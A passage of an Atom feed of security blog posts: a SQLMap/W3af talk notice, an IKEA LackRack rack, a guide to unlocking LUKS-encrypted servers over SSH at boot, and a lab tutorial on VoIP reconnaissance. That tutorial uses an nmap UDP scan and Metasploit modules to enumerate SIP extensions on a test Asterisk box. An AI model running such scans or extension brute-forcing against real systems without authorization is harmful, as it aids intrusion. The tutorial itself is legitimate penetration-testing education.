		<content type="html">&lt;br /&gt;I recently wrote two posts (in Spanish) on &lt;a href=&quot;http://www.flu-project.com/&quot;&gt;Flu-Project &lt;/a&gt;blog about my recent experience in &lt;a href=&quot;http://www.sindominio.net/hackmeeting/&quot;&gt;Hackmeeting 2011 (MeigHacks)&lt;/a&gt; and some of the issues I treated during &lt;a href=&quot;http://www.sindominio.net/hackmeeting/index.php?title=2011/Nodos/Herramientas_de_%22bot%C3%B3n_gordo%22_y_hacktivismo&quot;&gt;my lecture&lt;/a&gt;, including &lt;a href=&quot;http://w3af.sourceforge.net/&quot;&gt;W3af&lt;/a&gt; and &lt;a href=&quot;http://sqlmap.sourceforge.net/&quot;&gt;SQLMap&lt;/a&gt;. These are the links:&lt;br /&gt;&lt;br /&gt;- &lt;a href=&quot;http://www.flu-project.com/de-paso-por-el-hackmeeting-2o11.html&quot;&gt;De paso por el Hackmeeting 2011&lt;/a&gt;&lt;br /&gt;- &lt;a href=&quot;http://www.flu-project.com/badstore-sqli-y-otras-chicas-del-monton.html&quot;&gt;Badstore, SQLi y otras chicas del montón&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;Jesús Pérez&lt;/div&gt;</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2013-06-10T16:17:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">IKEA Hackers: LackRack</title>
		<link href="http://blog.neutrino.es/2011/ikea-hackers-lackrack/"/>
		<id>http://blog.neutrino.es/?p=341</id>
		<updated>2011-11-19T22:30:15+00:00</updated>
		<content type="html">&lt;p&gt;Among the hundreds of hacks from the fantastic website &lt;a href=&quot;http://www.ikeahackers.net/&quot; target=&quot;_blank&quot;&gt;&lt;em&gt;IKEA Hackers&lt;/em&gt;&lt;/a&gt;, one is particularly interesting.&lt;/p&gt;
&lt;p&gt;How to build a &lt;a href=&quot;http://en.wikipedia.org/wiki/19-inch_rack&quot; target=&quot;_blank&quot;&gt;rack&lt;/a&gt; with an &lt;em&gt;IKEA&lt;/em&gt; &lt;em&gt;lack&lt;/em&gt; table worth less than 10 euros?&lt;br /&gt;
Well, with this manual:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.neutrino.es/wp-content/uploads/2011/11/lackrack.pdf&quot;&gt;
&lt;div align=&quot;center&quot;&gt;&lt;img src=&quot;http://blog.neutrino.es/wp-content/uploads/2011/11/Lackrack_manual_page_1_400x566.png&quot; alt=&quot;&quot; title=&quot;Lackrack instructions&quot; width=&quot;400&quot; height=&quot;566&quot; class=&quot;aligncenter size-full wp-image-346&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The best of the LackRack (after &lt;a href=&quot;http://wiki.eth-0.nl/index.php/LackRack#Pricing&quot; target=&quot;_blank&quot;&gt;its price&lt;/a&gt;) is that its construction is modular and you can grow it with your needs:&lt;/p&gt;
&lt;div align=&quot;center&quot;&gt;&lt;a href=&quot;http://blog.neutrino.es/wp-content/uploads/2011/11/5x_lackrack.jpg&quot;&gt;&lt;img src=&quot;http://blog.neutrino.es/wp-content/uploads/2011/11/5x_lackrack.jpg&quot; alt=&quot;5x LackRack&quot; title=&quot;5x LackRack&quot; width=&quot;600&quot; height=&quot;600&quot; class=&quot;aligncenter size-full wp-image-340&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;The LackRack is the ultimate, low-cost, high shininess solution for your modular datacenter-in-the-living-room. It is said that Google engineers were the first to explore the idea of using &lt;em&gt;lack&lt;/em&gt; tables for data centers. The LackRack is so famous that even has its own website: &lt;a href=&quot;http://lackrack.org/&quot; target=&quot;_blank&quot;&gt;http://lackrack.org/&lt;/a&gt; &lt;img src=&quot;http://blog.neutrino.es/wp-includes/images/smilies/icon_biggrin.gif&quot; alt=&quot;:D&quot; class=&quot;wp-smiley&quot; /&gt; &lt;/p&gt;</content>
		<author>
			<name>Carlos López</name>
			<uri>http://blog.neutrino.es</uri>
		</author>
		<source>
			<title type="html">synaptic fault » http://planetsecurity.org</title>
			<subtitle type="html">mind dumped</subtitle>
			<link rel="self" href="http://blog.neutrino.es/category/planet/security/feed/"/>
			<id>http://blog.neutrino.es/category/planet/security/feed/</id>
			<updated>2013-04-27T06:17:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Unlocking a LUKS encrypted root partition remotely via SSH</title>
		<link href="http://blog.neutrino.es/2011/unlocking-a-luks-encrypted-root-partition-remotely-via-ssh/"/>
		<id>http://blog.neutrino.es/?p=293</id>
		<updated>2011-11-01T02:51:03+00:00</updated>
		<content type="html">&lt;p&gt;If you are thinking on sending a new server to a remote datacenter for colocation or you have rented one or more servers in the cloud, probably you have thought that you would like to encrypt your server&amp;#8217;s hard disk.&lt;/p&gt;
&lt;p&gt;The problem is that if you encrypt the whole hard disk (the root partition) you will need some &lt;a href=&quot;http://blog.neutrino.es/2010/review-of-x7spa-hf-loving-ipmi-and-kvm-over-lan/&quot;&gt;kind of KVM&lt;/a&gt; to type the password remotely every time the server is restarted &amp;#8230; sure??? No!&lt;/p&gt;
&lt;p&gt;Thanks to this nifty trick, you can enter the password remotely during the boot process. The trick involves embedding a small ssh server  (&lt;a href=&quot;http://matt.ucc.asn.au/dropbear/dropbear.html&quot; target=&quot;_blank&quot;&gt;dropbear&lt;/a&gt;) in the initramfs that allows you to enter the password remotely for the root partition at boot time.&lt;/p&gt;
&lt;p&gt;For those who are lucky enough to use Debian, the procedure is so simple and easy as ::&lt;/p&gt;
&lt;p&gt;1) Install your server with the root partition encrypted.&lt;/p&gt;
&lt;p&gt;2) Install the required packages:&lt;br /&gt;
&lt;code class=&quot;syntax bash&quot;&gt;&lt;br /&gt;
apt-get install openssh-server dropbear busybox&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;3) Copy the SSH key that has been generated automatically&lt;br /&gt;
&lt;code class=&quot;syntax bash&quot;&gt;&lt;br /&gt;
scp root@my.server.ip.addr:/etc/initramfs-tools/root/.ssh/id_rsa ~/id_rsa.initramfs&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;4) If your server gets the IP address automatically (DHCP) ignore this step, otherwise you have to specify the IP configuration at the Kernel boot line. To do this edit the file &lt;em&gt;/etc/default/grub&lt;/em&gt; and define the line:&lt;br /&gt;
&lt;code class=&quot;syntax bash&quot;&gt;&lt;br /&gt;
GRUB_CMDLINE_LINUX=&amp;quot;ip=&amp;lt;client-ip&amp;gt;:&amp;lt;server-ip&amp;gt;:&amp;lt;gw-ip&amp;gt;:&amp;lt;netmask&amp;gt;:&amp;lt;hostname&amp;gt;:&amp;lt;device&amp;gt;:&amp;lt;autoconf&amp;gt;&amp;quot;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Using the  &lt;a href=&quot;https://www.kernel.org/doc/Documentation/filesystems/nfs/nfsroot.txt&quot; target=&quot;_blank&quot;&gt;format specified in the file &lt;em&gt;Documentation/nfsroot.txt&lt;/em&gt; of the Linux kernel documentation&lt;/a&gt;.  For example:&lt;br /&gt;
&lt;code class=&quot;syntax bash&quot;&gt;&lt;br /&gt;
GRUB_CMDLINE_LINUX=&amp;quot;ip=192.168.122.192::192.168.122.1:255.255.255.0::eth0:none&amp;quot;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Reload the grub configuration&lt;br /&gt;
&lt;code class=&quot;syntax bash&quot;&gt;&lt;br /&gt;
update-grub&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;5) Reboot&lt;br /&gt;
&lt;code class=&quot;syntax bash&quot;&gt;&lt;br /&gt;
reboot&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;6) And unlock remotely!&lt;/p&gt;
&lt;pre class=&quot;syntax Bash Script&quot;&gt;
ssh -o &amp;quot;UserKnownHostsFile=~/.ssh/known_hosts.initramfs&amp;quot; \
	-i &amp;quot;~/id_rsa.initramfs&amp;quot; root@my.server.ip.addr \
	&amp;quot;echo -ne \&amp;quot;MyS3cr3tK3y\&amp;quot; &amp;gt;/lib/cryptsetup/passfifo&amp;quot;
&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;http://blog.neutrino.es/wp-content/uploads/2011/11/cryptsetup-remote.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And for those not lucky enough to use Debian, and also for those who have such luck, but want more details on this procedure, I am pasting here the archive &lt;em&gt;cryptsetup/README.remote&lt;/em&gt; from Debian that I am sure that you will find very useful &lt;img src=&quot;http://blog.neutrino.es/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt; &lt;/p&gt;
&lt;pre class=&quot;syntax bash&quot;&gt;
$ zcat /usr/share/doc/cryptsetup/README.remote.gz

unlocking rootfs via ssh login in initramfs
-------------------------------------------

You can unlock your rootfs on bootup from remote, using ssh to log in to the
booting system while it's running with the initramfs mounted.

Setup
-----

For remote unlocking to work, the following packages have to be installed
before building the initramfs: dropbear busybox

The file /etc/initramfs-tools/initramfs.conf holds the configuration options
used when building the initramfs. It should contain BUSYBOX=y (this is set as
the default when the busybox package is installed) to have busybox installed
into the initramfs, and should not contain DROPBEAR=n, which would disable
installation of dropbear to initramfs. If set to DROPBEAR=y, dropbear will
be installed in any case; if DROPBEAR isn't set at all, then dropbear will only
be installed in case of an existing cryptroot setup.

The host keys used for the initramfs are dropbear_dss_host_key and
dropbear_rsa_host_key, both located in/etc/initramfs-tools/etc/dropbear/.
If they do not exist when the initramfs is compiled, they will be created
automatically. Following are the commands to create them manually:

# dropbearkey -t dss -f /etc/initramfs-tools/etc/dropbear/dropbear_dss_host_key
# dropbearkey -t rsa -f /etc/initramfs-tools/etc/dropbear/dropbear_rsa_host_key

As the initramfs will not be encrypted, publickey authentication is assumed.
The key(s) used for that will be taken from
/etc/initramfs-tools/root/.ssh/authorized_keys.
If this file doesn't exist when the initramfs is compiled, it will be created
and /etc/initramfs-tools/root/.ssh/id_rsa.pub will be added to it.
If the latter file doesn't exist either, it will be generated automatically -
you will find the matching private key which you will later need to log in to
the initramfs under /etc/initramfs-tools/root/.ssh/id_rsa (or id_rsa.dropbear
in case you need it in dropbear format). Following are the commands to do the
respective steps manually:

To create a key (in dropbear format):

# dropbearkey -t rsa -f /etc/initramfs-tools/root/.ssh/id_rsa.dropbear

To convert the key from dropbear format to openssh format:

# /usr/lib/dropbear/dropbearconvert dropbear openssh \
	/etc/initramfs-tools/root/.ssh/id_rsa.dropbear \
	/etc/initramfs-tools/root/.ssh/id_rsa

To extract the public key:

# dropbearkey -y -f /etc/initramfs-tools/root/.ssh/id_rsa.dropbear | \
	grep &amp;quot;^ssh-rsa &amp;quot; &amp;gt; /etc/initramfs-tools/root/.ssh/id_rsa.pub

To add the public key to the authorized_keys file:

# cat /etc/initramfs-tools/root/.ssh/id_rsa.pub &amp;gt;&amp;gt; /etc/initramfs-tools/root/.ssh/authorized_keys

In case you want some interface to get configured using dhcp, setting DEVICE= in
/etc/initramfs-tools/initramfs.conf should be sufficient.  The initramfs should
also honour the ip= kernel parameter.
In case you use grub, you probably might want to set it in /boot/grub/menu.lst,
either in the '# kopt=' line or appended to specific 'kernel' line(s).
The ip= kernel parameter is documented in Documentation/nfsroot.txt in the
kernel source tree.

Issues
------

Don't forget to run update-initramfs when you changed the config to make it
effective!

Collecting enough entropy for the ssh daemon sometimes seems to be an issue.
Startup of the ssh daemon might be delayed until enough entropy has been
retrieved. This is non-blocking for the startup process, so when you are at the
console you won't have to wait for the sshd to complete its startup.

Unlocking procedure
-------------------

To unlock from remote, you could do something like this:

# ssh -o &amp;quot;UserKnownHostsFile=~/.ssh/known_hosts.initramfs&amp;quot; \
	-i &amp;quot;~/id_rsa.initramfs&amp;quot; root@initramfshost.example.com \
	&amp;quot;echo -ne \&amp;quot;secret\&amp;quot; &amp;gt;/lib/cryptsetup/passfifo&amp;quot;

This example assumes that you have an extra known_hosts file
&amp;quot;~/.ssh/known_hosts.initramfs&amp;quot; which holds the cryptroot system's host-key,
that you have a file &amp;quot;~/id_rsa.initramfs&amp;quot; which holds the authorized-key for
the cryptroot system, that the cryptroot system's name is
&amp;quot;initramfshost.example.com&amp;quot;, and that the cryptroot passphrase is &amp;quot;secret&amp;quot;

-- &amp;lt;debian@x.ray.net&amp;gt;, Wed, 30 Sep 2009
&lt;/pre&gt;</content>
		<author>
			<name>Carlos López</name>
			<uri>http://blog.neutrino.es</uri>
		</author>
		<source>
			<title type="html">synaptic fault » http://planetsecurity.org</title>
			<subtitle type="html">mind dumped</subtitle>
			<link rel="self" href="http://blog.neutrino.es/category/planet/security/feed/"/>
			<id>http://blog.neutrino.es/category/planet/security/feed/</id>
			<updated>2013-04-27T06:17:03+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">VoIP Information Gathering: Metasploit</title>
		<link href="http://nicerosniunos.blogspot.com/2011/09/voip-information-gathering-metasploit.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-4345561549777498380</id>
		<updated>2011-09-14T11:51:00+00:00</updated>
		<content type="html">&lt;br /&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Testing:_Information_Gathering&quot;&gt;Information gathering&lt;/a&gt;&amp;nbsp;is the stage of a penetration test when the attacker tries to &amp;nbsp;collect as much information as possible about the target. This step is normally composed for &lt;a href=&quot;http://www.sans.org/reading_room/whitepapers/auditing/footprinting-it-it-why_62&quot;&gt;footprinting&lt;/a&gt; and &lt;a href=&quot;l:http://en.wikipedia.org/wiki/TCP/IP_stack_fingerprinting&quot;&gt;fingerprinting&lt;/a&gt; but, in the case of VoIP systems, we should add extension enumeration to the list. During this last step attacker will attempt to obtain valid extensions/users of the target system.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Footprinting &amp;amp; Fingerprinting&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;My favourite tools for these jobs are &lt;a href=&quot;http://www.youtube.com/watch?v=VTDvCnYt1_I&quot;&gt;FOCA&lt;/a&gt; and &lt;a href=&quot;http://nmap.org/&quot;&gt;Nmap&lt;/a&gt;, it´s a bit strange combination but it fits for me :). FOCA automates almost all the “dirty job” and it is the best with public documents metadata, while Nmap flexibility let me confirm manually all these discovered stuff. Moreover, in the case of SIP Protocol, FOCA also is able to obtain more information from target &amp;nbsp;&lt;a href=&quot;http://www.voip-info.org/wiki/view/DNS+SRV&quot;&gt;DNS SRV records&lt;/a&gt;, they work in a similar way during a call that &lt;a href=&quot;http://en.wikipedia.org/wiki/MX_record&quot;&gt;MX&lt;/a&gt; ones for mailing. Next picture taken from the blog of its &lt;a href=&quot;http://www.elladodelmal.com/&quot;&gt;“father”&lt;/a&gt; shows an example of them.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-tQsrCVOTNlc/TnBi-pb7icI/AAAAAAAAAV0/PEuiEt7qVyc/s1600/sip_adobe.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://4.bp.blogspot.com/-tQsrCVOTNlc/TnBi-pb7icI/AAAAAAAAAV0/PEuiEt7qVyc/s320/sip_adobe.jpg&quot; width=&quot;241&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Figure: Adobe SRV records&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;NOTE: FOCA it is not GPL, it´s only &lt;a href=&quot;http://en.wikipedia.org/wiki/Gratis_versus_Libre&quot;&gt;free as in free beer&lt;/a&gt; but, in my opinion, there is no replacement for the moment.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There are some &lt;a href=&quot;http://www.voipsa.org/Resources/tools.php#VoIP Scanning and Enumeration Tools&quot;&gt;other specific tools&lt;/a&gt; for VoIP which complement classic ones discussed above. I´m going to focus on &lt;a href=&quot;http://www.metasploit.com/download/&quot;&gt;Metasploit&lt;/a&gt; modules because &lt;a href=&quot;http://code.google.com/p/sipvicious/&quot;&gt;Sipvicious&lt;/a&gt; set of tools, which is the most used for this tasks and works in a very similar way, is a lot of documented over the net. These VoIP specific scans reduce strongly the time in comparison of nmap because they send specific SIP request UDP packets instead of ICMP ones. In &lt;a href=&quot;http://blog.sipvicious.org/2007/11/introduction-to-svmap.html&quot;&gt;this post&lt;/a&gt; we can find a complete explanation of that and &lt;a href=&quot;http://www.networkuptime.com/nmap/page3-10.shtml&quot;&gt;here&lt;/a&gt; is exposed how nmap UDP scan works. You can compare it (&lt;i&gt;nmap -sU -p 5060 -sV TARGET&lt;/i&gt;) and check that the speed difference is really huge. One important advantage of Metasploit over Sipvicious is the support of threading which could speed up still more the process.&lt;br /&gt;&lt;br /&gt;So, at this point, we are ready to start scanning a testing environment formed by an Ubuntu 11.04 laptop hosting two virtual machines, connected in NAT mode:&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot;&gt; &lt;/span&gt;- Backtrack 5 R1 box simulating bad guy.&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot;&gt; &lt;/span&gt;- Debian Squeeze box with a basic installation of Asterisk 1.6.2.9-2 and only &lt;i&gt;101&lt;/i&gt; and &lt;i&gt;102&lt;/i&gt; extensions allowed.&lt;br /&gt;&lt;br /&gt;There are not too much Metasploit modules involving VoIP but we already have &lt;i&gt;auxiliaries&lt;/i&gt; needed for SIP scanning and extension enumeration as showed in the picture:&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-ALqw5atR6lQ/TnBjBnu-M9I/AAAAAAAAAV4/vY6DP2KWcjE/s1600/1.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;293&quot; src=&quot;http://1.bp.blogspot.com/-ALqw5atR6lQ/TnBjBnu-M9I/AAAAAAAAAV4/vY6DP2KWcjE/s320/1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Figure: Metasploit SIP related modules&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;Now, I´m going to use &lt;a href=&quot;http://www.fastandeasyhacking.com/&quot;&gt;Armitage&lt;/a&gt;&amp;nbsp;(sorry guys, I like GUIs :P) in order to scan my network using &quot;SIP scan (UDP)&quot; (&lt;a href=&quot;http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/scanner/sip/options.rb&quot;&gt;auxiliary/scanner/sip/options&lt;/a&gt;) module. It supports only OPTIONS scanning but it is enough for being the most realiable type. In fact, INVITE scan could be noisy and produce a &quot;ring” at the other end. &amp;nbsp;If you are interested in all these subjects and how they work more in depth I recommend you (as always) &lt;a href=&quot;http://www.hackingvoip.com/&quot;&gt;“VoIP Haking Exposed”&lt;/a&gt; book.&lt;br /&gt;&lt;br /&gt;You only have to specify the target for configure the module, next images show the steps and the correct result.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/--3jHqB8WHdQ/TnBjCHw0ZCI/AAAAAAAAAV8/NyLXHyVvOQQ/s1600/2.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;293&quot; src=&quot;http://4.bp.blogspot.com/--3jHqB8WHdQ/TnBjCHw0ZCI/AAAAAAAAAV8/NyLXHyVvOQQ/s320/2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Figure: Module configuration&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-SfIfgIwfQms/TnBjDP2UFmI/AAAAAAAAAWA/Zg_2lleoQY4/s1600/3.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;293&quot; src=&quot;http://2.bp.blogspot.com/-SfIfgIwfQms/TnBjDP2UFmI/AAAAAAAAAWA/Zg_2lleoQY4/s320/3.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Figure: Scan result&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Extension enumeration&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Instead of explaining how this attack works in a theorethical way (diagrams and all this stuff) I´m going to refer you to the book and show a situation which helps to understand because user/extension enumeration is possible. Firstly I will try to connect my Ekiga softphone to Asterisk server with a non existent user:&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-VYUwauseGKA/TnBjDWhl-CI/AAAAAAAAAWE/2IS-ASmYR2w/s1600/4.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;262&quot; src=&quot;http://4.bp.blogspot.com/-VYUwauseGKA/TnBjDWhl-CI/AAAAAAAAAWE/2IS-ASmYR2w/s320/4.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Figure: Bad user account configuration&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-dRGHx7-oeBY/TnBjD3vq6SI/AAAAAAAAAWI/3FCYSNAc7qE/s1600/5.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;136&quot; src=&quot;http://3.bp.blogspot.com/-dRGHx7-oeBY/TnBjD3vq6SI/AAAAAAAAAWI/3FCYSNAc7qE/s320/5.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Figure: Bad login result&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Ok, Asterisk didn´t allow the connection, now we are going to try with an existent user and bad password:&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-pEFZqX7kDoY/TnBjEWPigpI/AAAAAAAAAWM/K2MLjDDcQzw/s1600/6.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;262&quot; src=&quot;http://1.bp.blogspot.com/-pEFZqX7kDoY/TnBjEWPigpI/AAAAAAAAAWM/K2MLjDDcQzw/s320/6.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Figure: Correct user and bad password configuration&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-MMq5X-6DjCI/TnBjEsNyEHI/AAAAAAAAAWQ/3EYduOK3CLo/s1600/7.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;136&quot; src=&quot;http://4.bp.blogspot.com/-MMq5X-6DjCI/TnBjEsNyEHI/AAAAAAAAAWQ/3EYduOK3CLo/s320/7.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Figure: “Not bad” login result&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;The response is different in both cases so, as you can imagine at this point, we could easily identify different extensions.&amp;nbsp;In order to automate this attack we can use “SIP Username Enumerator (UDP)” module (&lt;a href=&quot;http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/scanner/sip/enumerator.rb&quot;&gt;scanner/sip/enumerator&lt;/a&gt;) which supports REGISTER and OPTIONS scan (&lt;i&gt;METHOD&lt;/i&gt; module parameter). Really it is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Brute-force_attack&quot;&gt;Brute-force attack&lt;/a&gt; trying specified extensions, so it is very important to specify &lt;i&gt;&lt;span id=&quot;goog_933815410&quot;&gt;&lt;/span&gt;&lt;a href=&quot;http://www.metasploit.com/modules/auxiliary/scanner/sip/enumerator&quot;&gt;PADLEN&lt;/a&gt;&lt;span id=&quot;goog_933815411&quot;&gt;&lt;/span&gt; &lt;/i&gt;argument, if not, you could obtain a very long list of non-existent extensions. In my case I choose &lt;i&gt;PADLEN&lt;/i&gt; equal to 3 because extensions are &lt;i&gt;101&lt;/i&gt; and &lt;i&gt;102&lt;/i&gt;, I also modifed&amp;nbsp;&lt;i&gt;MAXENT&lt;/i&gt; to fit with it.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-GWw74dqYbKI/TnBjFGSI7sI/AAAAAAAAAWU/S0r4Tiu9gDA/s1600/8.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;293&quot; src=&quot;http://2.bp.blogspot.com/-GWw74dqYbKI/TnBjFGSI7sI/AAAAAAAAAWU/S0r4Tiu9gDA/s320/8.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Figure: Enumerator module configuration&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-TiA_lwGH_7M/TnBjFmCi0AI/AAAAAAAAAWY/VvOd4mPE5NU/s1600/9.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;293&quot; src=&quot;http://3.bp.blogspot.com/-TiA_lwGH_7M/TnBjFmCi0AI/AAAAAAAAAWY/VvOd4mPE5NU/s320/9.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Figure: REGISTER extension enumeration result&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-BND0-m_uIVs/TnBjGYYJzhI/AAAAAAAAAWc/tV1jV0kkl28/s1600/10.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;293&quot; src=&quot;http://2.bp.blogspot.com/-BND0-m_uIVs/TnBjGYYJzhI/AAAAAAAAAWc/tV1jV0kkl28/s320/10.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Figure: OPTIONS extension enumeration result&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;As you can see I got different results, on one side OPTIONS scan identified extensions &lt;i&gt;500&lt;/i&gt; (Asterisk demo) and &lt;i&gt;600&lt;/i&gt; (echo demo) and REGISTER scan got real extensions on the other. So it would be necessary to use both types during a pentest process.&lt;br /&gt;&lt;br /&gt;At this moment Metasploit does not support Asterisk Exchange protocol (this is also part of VoIP protocols as SIP) scan. We have &lt;a href=&quot;http://sourceforge.net/projects/enumiax/&quot;&gt;enumIAX&lt;/a&gt; and &lt;a href=&quot;http://code.google.com/p/iaxscan/&quot;&gt;iaxscan&lt;/a&gt;&amp;nbsp;classic tools, but we are only focus in SIP protocol at this time.&lt;br /&gt;&lt;br /&gt;Information gathering coutermeasurements is a very interesting subject but I think it is enough for today, typical solutions are &lt;a href=&quot;http://ofps.oreilly.com/titles/9780596517342/asterisk-Security.html&quot;&gt;Fail2ban combined with Iptables&lt;/a&gt; and &lt;a href=&quot;http://www.opensips.org/html/docs/modules/1.6.x/pike.html&quot;&gt;other specific tools&lt;/a&gt; for each type of VoIP system.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;Jesús Pérez&lt;/div&gt;</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
